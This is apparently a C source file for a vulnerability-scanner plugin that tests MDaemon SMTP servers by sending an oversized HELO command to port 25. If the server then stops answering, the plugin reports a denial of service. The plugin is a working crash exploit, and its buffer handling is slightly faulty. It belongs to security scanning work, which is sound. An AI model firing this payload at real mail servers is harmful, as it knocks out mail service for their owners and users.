/*
 * 
 * mdaemon
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "mdaemon"
#define DESC "\
It is possible to crash a remote MDaemon SMTP server by\n\
sending it a string which is too long.\n\
Once it's crashed, MDaemon must be restarted by hands, and\n\
the workstation can't receive mails\n\n\
Risk factor : medium/high"
#define COPYRIGHT "no copyright"
#define SUMM "buffer overflow for MDaemon SMTP server"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	char * buffer;
	int sock;
	int i;
	
	if(!host_get_port_state(args, 25))return(0);
	sock = open_sock_tcp(args, 25);
	if(sock < 0 )return(0);
	buffer = (char *)malloc(5000);
  	sprintf(buffer, "HELO ");
  	memset(buffer, 'x', 4095);
  	strcat(buffer, "\r\n");
  	write(sock, &buffer[0], strlen(buffer));
  	close(sock);
  	efree(&buffer);
  	
  	sock = open_sock_tcp(args, 25);
  	if(sock<0)
  	{
  	post_hole(args, 25, "\
Performed a denial of service against the remote\n\
mail server which may be mdaemon (not checked though)\n\
Solution : contact your vendor for a fix\n");
  	}
  	else socket_close(sock);
	return(0);
}

